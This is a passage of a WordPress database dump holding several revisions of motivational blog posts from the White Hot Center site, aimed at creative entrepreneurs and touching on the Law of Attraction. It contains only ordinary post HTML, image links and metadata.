trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-22 16:54:55', '2009-07-22 23:54:55', '', 172, 'http://www.whitehotcenter.com/172-revision-49/', 0, 'revision', '', 0),
(533, 2, '2009-07-21 17:42:11', '2009-07-22 00:42:11', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif"><img class="alignnone size-full wp-image-522" title="podmouth" src="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif" alt="podmouth" width="450" height="339" /></a>This part of the site is currently under development. When this section is ready– there''ll be plenty of exciting ideas to share with you. You''ll have complete access</span> <span style="color: #ff6600;">to all the WhiteHotCenter podcasts and videocasts that we''ll post here. We''re gathering ideas and producing some useful information to share with you here. </span></h2>\r\n<h2><span style="color: #ff6600;">Stay tuned!</span></h2>', 'Listen & Learn', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-21 17:42:11', '2009-07-22 00:42:11', '', 133, 'http://www.whitehotcenter.com/133-revision-13/', 0, 'revision', '', 0),
(532, 2, '2009-07-22 17:01:33', '2009-07-23 00:01:33', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me?"... these are kinds the big burning questions you can think about and answer here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-21', '', '', '2009-07-22 17:01:33', '2009-07-23 00:01:33', '', 179, 'http://www.whitehotcenter.com/179-revision-21/', 0, 'revision', '', 0),
(535, 1, '2009-04-03 14:41:57', '2009-04-03 21:41:57', 'Recently, many of my friends and acquaintances have been talking about a film called "The Secret"… it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.\r\n\r\nWhat ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide... if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt... and the more you will experience fear and doubt.\r\n\r\nFor me, that is an empowering idea!\r\n\r\nIf I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our...\r\n', 'inherit', 'open', 'open', '', '38-revision-4', '', '', '2009-04-03 14:41:57', '2009-04-03 21:41:57', '', 38, 'http://www.whitehotcenter.com/2009/04/03/38-revision-4/', 0, 'revision', '', 0),
(536, 2, '2009-07-28 15:31:40', '2009-07-28 22:31:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a></h2>\r\n<h2><span style="color: #ff6600;">It has been two years since I committed myself to follow a new direction and higher ideal for my business and my life. What was then a formless idea, (being a writer and thought leader in the professional development field), is now in physical form, (this blog, web site, and my growing business). Through this venue, I have achieved an important milestone goal I set for myself... now it is here to inspire you to move closer to your bigger ideas!\r\n</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. This is certain– I trust the process of creativity and I am on my way to my bigger future!\r\n\r\nMy goal here is to share ideas that will inspire you to discover a greater vision for your business that is not simply about making more money, but creating a life of significance and fulfillment. To accomplish this, you must pursue what really matters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nI believe the methods you choose to create your business success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>your life purpose and vision\r\n</strong>\r\n\r\n<strong>your unique talents and capabilities</strong>\r\n\r\n<strong>your core values</strong>\r\n\r\n<strong>your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>your response-ability to empower yourself through empowering thought\r\n</strong>\r\n\r\nThere is an inner process of thinking that must guide all your outer action. Your business and life success is not just about more sales, marketing, advertising and finance. It is in your thoughts–which means your visions, ideas and innovations to better serve people.  The venue of business provides the most compelling of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people. Your business is no exception.\r\n<h2><span style="color: #ff6600;">From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity, and all creation begins as a formless idea.\r\n</span></h2>\r\nYour business is your playground. It''s the structure that allows you to be the most creative in discovering ways to serve people and make life better. If you want your business to be elevated beyond commoditization, you must operate from a higher level of thinking. Through the writing on the WHC blog, and in my consulting practice, I present a point of view and offer guidance to help entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be sharing a point of view about these ideas through the content on this site.\r\n\r\nMeantime, allow yourself an opportunity to ponder these questions about the trajectory of your business and life pursuits:\r\n\r\n<strong>Where will you go from here?\r\nWhere do you desire your ideas to lead you?\r\nWhat does the success you desire look like?\r\nWhat really matters to you and will serve others? </strong>\r\n\r\n<strong>Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'publish', 'open', 'open', '', 'where-do-you-go-from-here', '', '', '2009-07-29 10:43:04', '2009-07-29 17:43:04', '', 0, 'http://www.whitehotcenter.com/?p=536', 0, 'post', '', 0),
(537, 2, '2009-07-28 15:21:46', '2009-07-28 22:21:46', '', 'Pathway-6-sm', 0, '', 'inherit', 'open', 'open', '', 'pathway-6-sm', '', '', '2009-07-28 15:21:46', '2009-07-28 22:21:46', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2009/07/Pathway-6-sm.gif', 0, 'attachment', 'image/gif', 0),
(538, 2, '2009-07-28 15:25:06', '2009-07-28 22:25:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have been experimenting, designing, prototyping and learning how to bring it all into form. Now it is here for you!</span></h2>\nIt’s one more next step on my journey to follow my passion to inspire and add value to people using my unique talents and capabilities. Where all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\n\nI am writing to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making money, but about creating a life of significance and fulfillment. To accomplish this, your business must matter to other people as much as it matters to you. When your business is remarkable in its service to people, your business will be elevated from the slush pile of your competition, your clients will love you for it, and gladly pay the price premium your product or service commands. You’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank)”?\n\nOf course, you know there is no silver-bullet answer to that question. The methods you choose to create your business success will always be connected to your own inner beliefs about:\n\n<strong>-       your life purpose</strong>\n\n<strong>-       your unique talents and capabilities</strong>\n\n<strong>-       your core values</strong>\n\n<strong>-       your conscious awareness of how your reality is created</strong>\n\n<strong>-       your ability to set a goal, and maintain your focus and discipline</strong>\n\n<strong>-       your ability to be honest with yourself about the results you create</strong>\n\nIt’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity. Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.\n\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the cause of outer results. Take a moment to review the “Manifesto” link above. The principles outline the basis for the WhiteHotCenter philosophy about creating success in your business and in every area of your life. I’ll be writing extensively about these ideas in the days and months ahead.\n\n<strong>Where will your ideas lead you? What does the success you desire look like?  What matters to you and serves others? Allow yourself some time to think about this, then take some small action step toward your answers.  Feel free to leave your comments and feedback below.</strong>\n\n<span style="color: #ff6600;">\n</span>', 'Where do you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision', '', '', '2009-07-28 15:25:06', '2009-07-28 22:25:06', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision/', 0, 'revision', '', 0),
(539, 2, '2009-07-28 15:28:36', '2009-07-28 22:28:36', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have been experimenting, designing, prototyping and learning how to bring it all into form. Now it is here for you!</span></h2>\r\nIt’s one more next step on my journey to follow my passion to inspire and add value to people using my unique talents and capabilities. Where all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nI am writing to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making money, but about creating a life of significance and fulfillment. To accomplish this, your business must matter to other people as much as it matters to you. When your business is remarkable in its service to people, your business will be elevated from the slush pile of your competition, your clients will love you for it, and gladly pay the price premium your product or service commands. You’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank)”?\r\n\r\nOf course, you know there is no silver-bullet answer to that question. The methods you choose to create your business success will always be connected to your own inner beliefs about:\r\n\r\n<strong>-       your life purpose</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, and maintain your focus and discipline</strong>\r\n\r\n<strong>-       your ability to be honest with yourself about the results you create</strong>\r\n\r\nIt’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity. Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.\r\n\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the cause of outer results. Take a moment to review the “Manifesto” link above. The principles outline the basis for the WhiteHotCenter philosophy about creating success in your business and in every area of your life. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will your ideas lead you? What does the success you desire look like?  What matters to you and serves others? Allow yourself some time to think about this, then take some small action step toward your answers.  Feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where do you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-2', '', '', '2009-07-28 15:28:36', '2009-07-28 22:28:36', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-2/', 0, 'revision', '', 0);
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(540, 2, '2009-07-29 10:44:10', '2009-07-29 17:44:10', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a></h2>\n<h2><span style="color: #ff6600;">It has been two years since I committed myself to follow a new direction and higher ideal for my business and my life. What was then a formless idea, (being a writer and thought leader in the professional development field), is now in physical form, (this blog, web site, and my growing business). Through this venue, I have achieved an important milestone goal I set for myself... now it is here to inspire you to move closer to your bigger ideas!\n</span></h2>\nWhere all this will lead me is a glorious mystery indeed. This is certain– I trust the process of creativity and I am on my way to my bigger future!\n\nMy goal here is to share ideas that will inspire you to discover a greater vision for your business that is not simply about making more money, but creating a life of significance and fulfillment. To accomplish this, you must pursue what really matters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\n\nI believe the methods you choose to create your business success will always be hard-wired into your own inner beliefs about:\n\n<strong>your life purpose and vision\n</strong>\n\n<strong>your unique talents and capabilities</strong>\n\n<strong>your core values</strong>\n\n<strong>your conscious awareness of how your reality is created</strong>\n\n<strong>your ability to set a goal, maintain your focus and discipline</strong>\n\n<strong>your response-ability to empower yourself through empowering thought\n</strong>\n\nThere is an inner process of thinking that must guide all your outer action. Your business and life success is not just about more sales, marketing, advertising and finance. It is in your thoughts–which means your visions, ideas and innovations to better serve people.  The venue of business provides the most compelling of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people. Your business is no exception.\n<h2><span style="color: #ff6600;">From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity, and all creation begins as a formless idea.\n</span></h2>\nYour business is your playground. It''s the structure that allows you to be the most creative in discovering ways to serve people and make life better. If you want your business to be elevated beyond commoditization, you must operate from a higher level of thinking. Through the writing on the WHC blog, and in my consulting practice, I present a point of view and offer guidance to help entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be sharing a point of view about these ideas through the content on this site.\n\nMeantime, allow yourself an opportunity to ponder these questions about the trajectory of your business and life pursuits:\n\n<strong>Where will you go from here?\nWhere do you desire your ideas to lead you?\nWhat does the success you desire look like?\nWhat really matters to you and will serve others? </strong>\n\n<strong>Please feel free to leave your comments and feedback below.</strong>\n\n<span style="color: #ff6600;">\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-autosave', '', '', '2009-07-29 10:44:10', '2009-07-29 17:44:10', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-autosave/', 0, 'revision', '', 0),
(541, 2, '2009-07-28 15:31:40', '2009-07-28 22:31:40', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have been experimenting, designing, prototyping and learning how to bring it all into form. Now it is here for you!</span></h2>\r\nIt’s one more next step on my journey to follow my passion to inspire and add value to people using my unique talents and capabilities. Where all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nI am writing to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making money, but about creating a life of significance and fulfillment. To accomplish this, your business must matter to other people as much as it matters to you. When your business is remarkable in its service to people, your business will be elevated from the slush pile of your competition, your clients will love you for it, and gladly pay the price premium your product or service commands. You’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank)”?\r\n\r\nOf course, you know there is no silver-bullet answer to that question. The methods you choose to create your business success will always be connected to your own inner beliefs about:\r\n\r\n<strong>-       your life purpose</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, and maintain your focus and discipline</strong>\r\n\r\n<strong>-       your ability to be honest with yourself about the results you create</strong>\r\n\r\nIt’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity. Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.\r\n\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the cause of outer results. Take a moment to review the “Manifesto” link above. The principles outline the basis for the WhiteHotCenter philosophy about creating success in your business and in every area of your life. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will your ideas lead you? What does the success you desire look like?  What matters to you and serves others? Allow yourself some time to think about this, then take some small action step toward your answers.  Feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where do you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-3', '', '', '2009-07-28 15:31:40', '2009-07-28 22:31:40', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-3/', 0, 'revision', '', 0),
(542, 2, '2009-07-28 15:57:52', '2009-07-28 22:57:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have been experimenting, designing, prototyping and learning how to bring it all into form. Now it is here for you!</span></h2>\r\nIt’s one more next step on my journey to follow my passion to inspire and add value to people using my unique talents and capabilities. Where all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nI am writing to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making money, but about creating a life of significance and fulfillment. To accomplish this, your business must matter to other people as much as it matters to you. When your business is remarkable in its service to people, your business will be elevated from the slush pile of your competition, your clients will love you for it, and gladly pay the price premium your product or service commands. You’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank)”?\r\n\r\nOf course, you know there is no silver-bullet answer to that question. The methods you choose to create your business success will always be connected to your own inner beliefs about:\r\n\r\n<strong>-       your life purpose</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, and maintain your focus and discipline</strong>\r\n\r\n<strong>-       your ability to be honest with yourself about the results you create</strong>\r\n\r\nIt’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity. Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.\r\n\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the cause of outer results. Take a moment to review the “Manifesto” link above. The principles outline the basis for the WhiteHotCenter philosophy about creating success in your business and in every area of your life. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will your ideas lead you? What does the success you desire look like?  What matters to you and serves others? Allow yourself some time to think about this, then take some small action step toward your answers.  Feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-4', '', '', '2009-07-28 15:57:52', '2009-07-28 22:57:52', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-4/', 0, 'revision', '', 0),
(543, 2, '2009-07-28 17:35:23', '2009-07-29 00:35:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nMy goal is to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but about creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank) and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>-       your life purpose and vision\r\n</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>-       your response-ability to empower yourself through useful thinking\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is your thoughts–which means visions, ideas and innovation to better serve people through your business . It’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity.\r\n<h2><span style="color: #ff6600;">Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.</span></h2>\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will go from here? Where will your ideas lead you? What does the success you desire look like?  What matters to you and can serves others? Allow yourself some time to think about this, then take a small action step toward your answers.  Feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-5', '', '', '2009-07-28 17:35:23', '2009-07-29 00:35:23', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-5/', 0, 'revision', '', 0),
(546, 2, '2009-07-28 18:08:18', '2009-07-29 01:08:18', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a></h2>\r\n<h2><span style="color: #ff6600;">It has been two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my then formless idea, (being a writer and thought leader in the professional development field), into physical form, (this blog, web site, and my growing business). This article is my first official post on the newly-designed White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. This is certain– I trust the process of creativity and I am on my way to my bigger future!\r\n\r\nMy goal is to share ideas that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level  and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>-       your life purpose and vision\r\n</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>-       your response-ability to empower yourself through empowering thought\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is in your thoughts–which means visions, ideas and innovation to better serve people. It’s my opinion the venue of business provides the most compelling of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity. All creation begins with a formless idea.\r\n<h2><span style="color: #ff6600;">Frankly, the freedom to be your own boss and building a business for greater prosperity is what has made our economic system the envy of the world.</span></h2>\r\nThrough the writing on the WHC blog, and in my consulting practice, I will present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months ahead.\r\n\r\n<strong>Where will you go from here?\r\nWhere will your ideas lead you?\r\nWhat does the success you desire look like?\r\nWhat really matters to you and will serve others? </strong>\r\n\r\n<strong>Allow yourself some time to really think about these questions, then take a small action step toward your answers.  Please feel free to leave your comments and feedback below.</strong>\r\n\r\n<span style="color: #ff6600;">\r\n</span>', 'Where will you go from here?', 0, '', 'inherit', 'open', 'open', '', '536-revision-8', '', '', '2009-07-28 18:08:18', '2009-07-29 01:08:18', '', 536, 'http://www.whitehotcenter.com/2009/07/28/536-revision-8/', 0, 'revision', '', 0),
(544, 2, '2009-07-28 17:44:00', '2009-07-29 00:44:00', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif"><img class="alignnone size-full wp-image-537" title="Pathway-6-sm" src="http://whc.fbdev.org/wp-content/uploads/2009/07/Pathway-6-sm.gif" alt="Pathway-6-sm" width="450" height="319" /></a> <span style="color: #ff6600;">It has been over two years since I committed myself to follow a new direction and higher ideal for my business and my life. It took that amount of time to bring my new formless idea (being a writer and thought leader in the professional development field) into physical form (this blog, web site, and my new career that will follow). This article is the first post on the new and improved White Hot Center blog. I have achieved an important, milestone goal I set for myself... now it is here for you!</span></h2>\r\nWhere all this will lead me is a glorious mystery indeed. One thing is certain– I trust the process of creativity and I am on my way!\r\n\r\nMy goal is to put ideas out there that will inspire my fellow creative entrepreneurs to discover a greater vision for their business that is not simply about making more money, but about creating a life of significance and fulfillment. To accomplish this, you must pursue what maters to you and serves others. When your business is remarkable in its service to people, your business will be elevated from the slush pile of competition, your clients will love you for the value they receive, and gladly pay the price premium your product or service commands.\r\n\r\nYou’re probably thinking “that sounds all nice and fluffy, but how do I get my business idea to grow to the next level so I can (you fill in the blank) and still pay the bills”?\r\n\r\nOf course, you know the answer to that question depends on how much focus and attention you bring to what is important to you and still handle what is urgently required of you.  It''s a tricky dance indeed. The methods you choose to create your success will always be hard-wired into your own inner beliefs about:\r\n\r\n<strong>-       your life purpose and vision\r\n</strong>\r\n\r\n<strong>-       your unique talents and capabilities</strong>\r\n\r\n<strong>-       your core values</strong>\r\n\r\n<strong>-       your conscious awareness of how your reality is created</strong>\r\n\r\n<strong>-       your ability to set a goal, maintain your focus and discipline</strong>\r\n\r\n<strong>-       your response-ability to empower yourself through useful thinking\r\n</strong>\r\n\r\nYour business and life success is not just more sales, marketing, advertising and finance. It is your thoughts–which means visions, ideas and innovation to better serve people through your business . It’s my opinion the venue of business provides the most sacred of all human interactions. Every human advancement ever conceived has come about because there was a commercial intent to make life better for people.  From the invention of the wheel to the internet– commerce has been the engine that drives human ingenuity.\r\n<h2><span style="color: #ff6600;">Frankly, the idea of being your own boss and building a business for greater prosperity is what has made our economic system the envy of the world. These ideas provide endless fascination for me.</span></h2>\r\nThrough writing this blog, and in my consulting practice, I want to present a point of view and offer guidance to help creative entrepreneurs master the inner game of creative thinking that is the source cause of all outer results. Take a moment to review the “Manifesto” link above. These principles outline the basis for the White Hot Center philosophy. I’ll be writing extensively about these ideas in the days and months 